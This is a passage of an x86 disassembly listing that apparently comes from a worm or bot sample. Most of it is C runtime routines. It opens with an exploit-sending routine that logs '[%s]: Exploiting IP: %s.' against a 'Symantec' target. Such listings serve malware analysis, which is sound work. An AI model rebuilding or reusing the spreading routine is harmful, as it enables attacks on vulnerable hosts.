eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_41B7CE loc_41B7C0: ; CODE XREF: ___:0041B6F6j ; ___:0041B752j ... push ebx call dword_4C939C xor eax, eax jmp loc_41B957 ; --------------------------------------------------------------------------- loc_41B7CE: ; CODE XREF: ___:0041B721j ; ___:0041B72Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4C9354 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B4FB mov esi, dword_427088 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4D960C push edi call sub_41B960 test eax, eax pop ecx jbe short loc_41B86E loc_41B831: ; CODE XREF: ___:0041B86Cj mov eax, [ebp-4] movsx eax, byte_4D960C[eax] push eax push offset dword_43A600 lea eax, [ebp-20h] push 3 push eax call sub_41C100 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B4FB add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B960 cmp [ebp-4], eax pop ecx jb short loc_41B831 loc_41B86E: ; CODE XREF: ___:0041B82Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B887: ; CODE XREF: ___:0041B89Ej lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B887 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B4FB add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B4FB add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B8D8: ; CODE XREF: ___:0041B8F0j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B4FB add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B8D8 push ebx call dword_4C939C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C100 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431810[eax] push 1 lea eax, dword_431810[eax] pop eax loc_41B957: ; CODE XREF: ___:0041B7C9j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B960 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B980 loc_41B96C: ; CODE XREF: sub_41B960+19j mov al, [ecx] inc ecx test al, al jz short loc_41B9B3 test ecx, 3 jnz short loc_41B96C add eax, 0 loc_41B980: ; CODE XREF: sub_41B960+Aj ; sub_41B960+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B980 mov eax, [ecx-4] test al, al jz short loc_41B9D1 test ah, ah jz short loc_41B9C7 test eax, 0FF0000h jz short loc_41B9BD test eax, 0FF000000h jz short loc_41B9B3 jmp short loc_41B980 ; --------------------------------------------------------------------------- loc_41B9B3: ; CODE XREF: sub_41B960+11j ; sub_41B960+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9BD: ; CODE XREF: sub_41B960+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9C7: ; CODE XREF: sub_41B960+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41B9D1: ; CODE XREF: sub_41B960+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B960 endp ; =============== S U B R O U T I N E ======================================= sub_41B9DB proc near ; CODE XREF: sub_4010AB+64p ; sub_401AC7+5856p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41B9F0 or eax, 0FFFFFFFFh jmp short loc_41BA2A ; --------------------------------------------------------------------------- loc_41B9F0: ; CODE XREF: sub_41B9DB+Ej test al, 83h jz short loc_41BA28 push esi call sub_41E32B push esi mov edi, eax call sub_41E2C5 push dword ptr [esi+10h] call sub_41E212 add esp, 0Ch test eax, eax jge short loc_41BA16 or edi, 0FFFFFFFFh jmp short loc_41BA28 ; --------------------------------------------------------------------------- loc_41BA16: ; CODE XREF: sub_41B9DB+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA28 push eax call sub_41BA31 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA28: ; CODE XREF: sub_41B9DB+17j ; sub_41B9DB+39j ... mov eax, edi loc_41BA2A: ; CODE XREF: sub_41B9DB+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41B9DB endp ; =============== S U B R O U T I N E ======================================= sub_41BA31 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A91C+B1p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41BA5E push esi call sub_41E477 pop ecx test eax, eax push esi jz short loc_41BA50 push eax call sub_41E4A2 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA31+13j push 0 push dword_4DADA0 call near ptr 27D05CAh nop loc_41BA5E: ; CODE XREF: sub_41BA31+7j pop esi retn sub_41BA31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA60 proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA57p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BA84 xor eax, eax jmp loc_41BB2D ; --------------------------------------------------------------------------- loc_41BA84: ; CODE XREF: sub_41BA60+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BA97 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BAA3 ; --------------------------------------------------------------------------- loc_41BA97: ; CODE XREF: sub_41BA60+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BAA3 ; --------------------------------------------------------------------------- loc_41BAA0: ; CODE XREF: sub_41BA60+C4j mov ecx, [ebp+arg_0] loc_41BAA3: ; CODE XREF: sub_41BA60+35j ; sub_41BA60+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BAD5 mov eax, [esi+4] test eax, eax jz short loc_41BAD5 cmp ecx, eax mov edi, ecx jb short loc_41BABA mov edi, eax loc_41BABA: ; CODE XREF: sub_41BA60+56j push edi push dword ptr [esi] push ebx call sub_41CAB0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BB20 ; --------------------------------------------------------------------------- loc_41BAD5: ; CODE XREF: sub_41BA60+49j ; sub_41BA60+50j cmp ecx, [ebp+arg_C] jb short loc_41BB08 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BAEB xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BAEB: ; CODE XREF: sub_41BA60+80j push eax push ebx push dword ptr [esi+10h] call sub_41F051 add esp, 0Ch test eax, eax jz short loc_41BB32 cmp eax, 0FFFFFFFFh jz short loc_41BB38 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BB20 ; --------------------------------------------------------------------------- loc_41BB08: ; CODE XREF: sub_41BA60+78j push esi call sub_41EF78 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BB3C mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BB20: ; CODE XREF: sub_41BA60+73j ; sub_41BA60+A6j cmp [ebp+arg_0], 0 jnz loc_41BAA0 mov eax, [ebp+arg_8] loc_41BB2D: ; CODE XREF: sub_41BA60+1Fj ; sub_41BA60+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BB32: ; CODE XREF: sub_41BA60+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BB3C ; --------------------------------------------------------------------------- loc_41BB38: ; CODE XREF: sub_41BA60+9Fj or dword ptr [esi+0Ch], 20h loc_41BB3C: ; CODE XREF: sub_41BA60+B2j ; sub_41BA60+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BB2D sub_41BA60 endp ; =============== S U B R O U T I N E ======================================= sub_41BB48 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D743+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_41BB63 push [esp+10h+arg_4] call sub_41BC9B pop ecx jmp loc_41BC63 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB48+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_41BB79 push ebx call sub_41BA31 pop ecx loc_41BB72: ; CODE XREF: sub_41BB48+114j xor eax, eax jmp loc_41BC63 ; --------------------------------------------------------------------------- loc_41BB79: ; CODE XREF: sub_41BB48+21j ; sub_41BB48+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BC44 push ebx call sub_41E477 mov ebp, eax pop ecx test ebp, ebp jz loc_41BC21 cmp esi, dword_43A67C ja short loc_41BBE1 push esi push ebx push ebp call sub_41EC82 add esp, 0Ch test eax, eax jz short loc_41BBB0 mov edi, ebx jmp short loc_41BBD9 ; --------------------------------------------------------------------------- loc_41BBB0: ; CODE XREF: sub_41BB48+62j push esi call sub_41E7CD mov edi, eax pop ecx test edi, edi jz short loc_41BBE1 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BBC7 mov eax, esi loc_41BBC7: ; CODE XREF: sub_41BB48+7Bj push eax push ebx push edi call sub_41CAB0 push ebx push ebp call sub_41E4A2 add esp, 14h loc_41BBD9: ; CODE XREF: sub_41BB48+66j test edi, edi jnz loc_41BC61 loc_41BBE1: ; CODE XREF: sub_41BB48+53j ; sub_41BB48+73j test esi, esi jnz short loc_41BBE8 push 1 pop esi loc_41BBE8: ; CODE XREF: sub_41BB48+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DADA0 call near ptr 27E0000h nop mov edi, eax test edi, edi jz short loc_41BC44 mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC0D mov eax, esi loc_41BC0D: ; CODE XREF: sub_41BB48+C1j push eax push ebx push edi call sub_41CAB0 push ebx push ebp call sub_41E4A2 add esp, 14h jmp short loc_41BC40 ; --------------------------------------------------------------------------- loc_41BC21: ; CODE XREF: sub_41BB48+47j test esi, esi jnz short loc_41BC28 push 1 pop esi loc_41BC28: ; CODE XREF: sub_41BB48+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_4DADA0 nop call near ptr 2870000h mov edi, eax loc_41BC40: ; CODE XREF: sub_41BB48+D7j test edi, edi jnz short loc_41BC61 loc_41BC44: ; CODE XREF: sub_41BB48+36j ; sub_41BB48+B9j cmp dword_4D9798, 0 jz short loc_41BC61 push esi call sub_41F247 test eax, eax pop ecx jnz loc_41BB79 jmp loc_41BB72 ; --------------------------------------------------------------------------- loc_41BC61: ; CODE XREF: sub_41BB48+93j ; sub_41BB48+FAj ... mov eax, edi loc_41BC63: ; CODE XREF: sub_41BB48+16j ; sub_41BB48+2Cj pop edi pop esi pop ebp pop ebx retn sub_41BB48 endp ; =============== S U B R O U T I N E ======================================= sub_41BC68 proc near ; CODE XREF: sub_41BC88+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F3D2 test eax, eax jnz short loc_41BC72 retn ; --------------------------------------------------------------------------- loc_41BC72: ; CODE XREF: sub_41BC68+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F262 add esp, 10h retn sub_41BC68 endp ; =============== S U B R O U T I N E ======================================= sub_41BC88 proc near ; CODE XREF: sub_4010AB+18p ; sub_401AC7+582Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BC68 add esp, 0Ch retn sub_41BC88 endp ; =============== S U B R O U T I N E ======================================= sub_41BC9B proc near ; CODE XREF: sub_4010AB+6p ; sub_40A91C+63p ... arg_0 = dword ptr 4 push dword_4D9798 push [esp+4+arg_0] call sub_41BCAD pop ecx pop ecx retn sub_41BC9B endp ; =============== S U B R O U T I N E ======================================= sub_41BCAD proc near ; CODE XREF: sub_41BC9B+Ap ; sub_41D735+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BCD6 loc_41BCB4: ; CODE XREF: sub_41BCAD+27j push [esp+arg_0] call sub_41BCD9 test eax, eax pop ecx jnz short locret_41BCD8 cmp [esp+arg_4], eax jz short locret_41BCD8 push [esp+arg_0] call sub_41F247 test eax, eax pop ecx jnz short loc_41BCB4 loc_41BCD6: ; CODE XREF: sub_41BCAD+5j xor eax, eax locret_41BCD8: ; CODE XREF: sub_41BCAD+13j ; sub_41BCAD+19j retn sub_41BCAD endp ; =============== S U B R O U T I N E ======================================= sub_41BCD9 proc near ; CODE XREF: sub_41BCAD+Bp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, dword_43A67C ja short loc_41BCF1 push esi call sub_41E7CD test eax, eax pop ecx jnz short loc_41BD0D loc_41BCF1: ; CODE XREF: sub_41BCD9+Bj test esi, esi jnz short loc_41BCF8 push 1 pop esi loc_41BCF8: ; CODE XREF: sub_41BCD9+1Aj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DADA0 nop call near ptr 27E0000h loc_41BD0D: ; CODE XREF: sub_41BCD9+16j pop esi retn sub_41BCD9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD10 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BD63 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BD57 neg ecx and ecx, 3 jz short loc_41BD39 sub edx, ecx loc_41BD33: ; CODE XREF: sub_41BD10+27j mov [edi], al inc edi dec ecx jnz short loc_41BD33 loc_41BD39: ; CODE XREF: sub_41BD10+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BD57 rep stosd test edx, edx jz short loc_41BD5D loc_41BD57: ; CODE XREF: sub_41BD10+18j ; sub_41BD10+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BD57 loc_41BD5D: ; CODE XREF: sub_41BD10+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BD63: ; CODE XREF: sub_41BD10+Aj mov eax, [esp+arg_0] retn sub_41BD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD70 proc near ; CODE XREF: ___:004016BAp ; ___:004016D6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41BDF3 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BD94 shr ecx, 2 jnz short loc_41BE01 jmp short loc_41BDB5 ; --------------------------------------------------------------------------- loc_41BD94: ; CODE XREF: sub_41BD70+1Bj ; sub_41BD70+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41BDC2 test al, al jz short loc_41BDCA test esi, 3 jnz short loc_41BD94 mov ebx, ecx shr ecx, 2 jnz short loc_41BE01 loc_41BDB0: ; CODE XREF: sub_41BD70+8Fj and ebx, 3 jz short loc_41BDC2 loc_41BDB5: ; CODE XREF: sub_41BD70+22j ; sub_41BD70+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41BDEE dec ebx jnz short loc_41BDB5 loc_41BDC2: ; CODE XREF: sub_41BD70+2Bj ; sub_41BD70+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41BDCA: ; CODE XREF: sub_41BD70+2Fj test edi, 3 jz short loc_41BDE4 loc_41BDD2: ; CODE XREF: sub_41BD70+72j mov [edi], al inc edi dec ecx jz loc_41BE66 test edi, 3 jnz short loc_41BDD2 loc_41BDE4: ; CODE XREF: sub_41BD70+60j mov ebx, ecx shr ecx, 2 jnz short loc_41BE57 loc_41BDEB: ; CODE XREF: sub_41BD70+7Fj ; sub_41BD70+F4j mov [edi], al inc edi loc_41BDEE: ; CODE XREF: sub_41BD70+4Dj dec ebx jnz short loc_41BDEB pop ebx pop esi loc_41BDF3: ; CODE XREF: sub_41BD70+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BDF9: ; CODE XREF: sub_41BD70+A9j ; sub_41BD70+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41BDB0 loc_41BE01: ; CODE XREF: sub_41BD70+20j ; sub_41BD70+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41BDF9 test dl, dl jz short loc_41BE4B test dh, dh jz short loc_41BE41 test edx, 0FF0000h jz short loc_41BE37 test edx, 0FF000000h jnz short loc_41BDF9 mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE37: ; CODE XREF: sub_41BD70+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE41: ; CODE XREF: sub_41BD70+B1j and edx, 0FFh mov [edi], edx jmp short loc_41BE4F ; --------------------------------------------------------------------------- loc_41BE4B: ; CODE XREF: sub_41BD70+ADj xor edx, edx mov [edi], edx loc_41BE4F: ; CODE XREF: sub_41BD70+C5j ; sub_41BD70+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41BE61 loc_41BE57: ; CODE XREF: sub_41BD70+79j xor eax, eax loc_41BE59: ; CODE XREF: sub_41BD70+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41BE59 loc_41BE61: ; CODE XREF: sub_41BD70+E5j and ebx, 3 jnz short loc_41BDEB loc_41BE66: ; CODE XREF: sub_41BD70+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BD70 endp ; =============== S U B R O U T I N E ======================================= sub_41BE6E proc near ; CODE XREF: sub_41BEF9+4p ; sub_4246FC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41BE76: ; CODE XREF: sub_41BE6E+34j cmp dword_43A88C, 1 jle short loc_41BE8E movzx eax, byte ptr [edi] push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_41BE9D ; --------------------------------------------------------------------------- loc_41BE8E: ; CODE XREF: sub_41BE6E+Fj movzx eax, byte ptr [edi] mov ecx, off_43A680 mov al, [ecx+eax*2] and eax, 8 loc_41BE9D: ; CODE XREF: sub_41BE6E+1Ej test eax, eax jz short loc_41BEA4 inc edi jmp short loc_41BE76 ; --------------------------------------------------------------------------- loc_41BEA4: ; CODE XREF: sub_41BE6E+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41BEB4 cmp esi, 2Bh jnz short loc_41BEB8 loc_41BEB4: ; CODE XREF: sub_41BE6E+3Fj movzx esi, byte ptr [edi] inc edi loc_41BEB8: ; CODE XREF: sub_41BE6E+44j xor ebx, ebx loc_41BEBA: ; CODE XREF: sub_41BE6E+7Bj cmp dword_43A88C, 1 jle short loc_41BECF push 4 push esi call sub_41F44A pop ecx pop ecx jmp short loc_41BEDA ; --------------------------------------------------------------------------- loc_41BECF: ; CODE XREF: sub_41BE6E+53j mov eax, off_43A680 mov al, [eax+esi*2] and eax, 4 loc_41BEDA: ; CODE XREF: sub_41BE6E+5Fj test eax, eax jz short loc_41BEEB lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41BEBA ; --------------------------------------------------------------------------- loc_41BEEB: ; CODE XREF: sub_41BE6E+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41BEF4 neg eax loc_41BEF4: ; CODE XREF: sub_41BE6E+82j pop edi pop esi pop ebp pop ebx retn sub_41BE6E endp ; =============== S U B R O U T I N E ======================================= sub_41BEF9 proc near ; CODE XREF: ___:00401524p ; sub_401AC7+711p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BE6E pop ecx retn sub_41BEF9 endp ; --------------------------------------------------------------------------- mov eax, off_43A64C test eax, eax jz short loc_41BF0F call eax ; sub_41CEB4 loc_41BF0F: ; CODE XREF: ___:0041BF0Bj push offset dword_42902C push offset dword_429018 call sub_41BFEC push offset dword_429014 push offset dword_429000 call sub_41BFEC add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41BF53 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41BF42 proc near ; CODE XREF: sub_41E1C9+1Cp ; sub_42249C+2246p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41BF53 add esp, 0Ch retn sub_41BF42 endp ; =============== S U B R O U T I N E ======================================= sub_41BF53 proc near ; CODE XREF: ___:0041BF39p ; sub_41BF42+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4D975C, edi jnz short loc_41BF70 push [esp+4+arg_0] nop call near ptr 2740662h push eax nop call near ptr 2730D30h loc_41BF70: ; CODE XREF: sub_41BF53+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4D9758, edi mov byte_4D9754, bl jnz short loc_41BFC4 mov eax, dword_4DADB4 test eax, eax jz short loc_41BFB3 mov ecx, dword_4DADB0 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41BFB2 loc_41BF9F: ; CODE XREF: sub_41BF53+5Dj mov eax, [esi] test eax, eax jz short loc_41BFA7 call eax loc_41BFA7: ; CODE XREF: sub_41BF53+50j sub esi, 4 cmp esi, dword_4DADB4 jnb short loc_41BF9F loc_41BFB2: ; CODE XREF: sub_41BF53+4Aj pop esi loc_41BFB3: ; CODE XREF: sub_41BF53+3Cj push offset dword_429038 push offset dword_429030 call sub_41BFEC pop ecx pop ecx loc_41BFC4: ; CODE XREF: sub_41BF53+33j push offset dword_429044 push offset dword_42903C call sub_41BFEC pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41BFEA push [esp+4+arg_0] mov dword_4D975C, edi nop call near ptr 77E75CB5h loc_41BFEA: ; CODE XREF: sub_41BF53+85j pop edi retn sub_41BF53 endp ; =============== S U B R O U T I N E ======================================= sub_41BFEC proc near ; CODE XREF: ___:0041BF19p ; ___:0041BF28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41BFF1: ; CODE XREF: sub_41BFEC+16j cmp esi, [esp+4+arg_4] jnb short loc_41C004 mov eax, [esi] test eax, eax jz short loc_41BFFF call eax loc_41BFFF: ; CODE XREF: sub_41BFEC+Fj add esi, 4 jmp short loc_41BFF1 ; --------------------------------------------------------------------------- loc_41C004: ; CODE XREF: sub_41BFEC+9j pop esi retn sub_41BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C006 proc near ; CODE XREF: ___:004013ADp ; ___:004014B3p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C046 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C053 ; --------------------------------------------------------------------------- loc_41C046: ; CODE XREF: sub_41C006+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C053: ; CODE XREF: sub_41C006+3Ej mov eax, esi pop esi leave retn sub_41C006 endp ; =============== S U B R O U T I N E ======================================= sub_41C058 proc near ; CODE XREF: ___:00401266p ; sub_401AC7+318Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A630, eax retn sub_41C058 endp ; =============== S U B R O U T I N E ======================================= sub_41C062 proc near ; CODE XREF: ___:loc_401376p ; ___:loc_4016A1p ... mov eax, dword_43A630 imul eax, 343FDh add eax, 269EC3h mov dword_43A630, eax sar eax, 10h and eax, 7FFFh retn sub_41C062 endp ; =============== S U B R O U T I N E ======================================= sub_41C080 proc near ; CODE XREF: ___:0040134Bp ; sub_401AC7+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C0FA mov dh, [ecx+1] test dh, dh jz short loc_41C0E7 loc_41C098: ; CODE XREF: sub_41C080+52j ; sub_41C080+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C0BA test al, al jz short loc_41C0B4 loc_41C0A9: ; CODE XREF: sub_41C080+32j mov al, [esi] inc esi loc_41C0AC: ; CODE XREF: sub_41C080+3Fj cmp al, dl jz short loc_41C0BA test al, al jnz short loc_41C0A9 loc_41C0B4: ; CODE XREF: sub_41C080+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C0BA: ; CODE XREF: sub_41C080+23j ; sub_41C080+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C0AC lea edi, [esi-1] loc_41C0C4: ; CODE XREF: sub_41C080+63j mov ah, [ecx+2] test ah, ah jz short loc_41C0F3 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C098 mov al, [ecx+3] test al, al jz short loc_41C0F3 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C0C4 jmp short loc_41C098 ; --------------------------------------------------------------------------- loc_41C0E7: ; CODE XREF: sub_41C080+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C726 ; --------------------------------------------------------------------------- loc_41C0F3: ; CODE XREF: sub_41C080+49j ; sub_41C080+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C0FA: ; CODE XREF: sub_41C080+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C100 proc near ; CODE XREF: ___:00401338p ; sub_401AC7+1C08p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F5D4 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C13F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C14C ; --------------------------------------------------------------------------- loc_41C13F: ; CODE XREF: sub_41C100+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F4BF pop ecx pop ecx loc_41C14C: ; CODE XREF: sub_41C100+3Dj mov eax, esi pop esi leave retn sub_41C100 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C151 proc near ; CODE XREF: ___:00401318p ; sub_401AC7+2164p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B960 cmp eax, 1 pop ecx jb short loc_41C18C cmp byte ptr [ebx+1], 3Ah jnz short loc_41C18C mov esi, 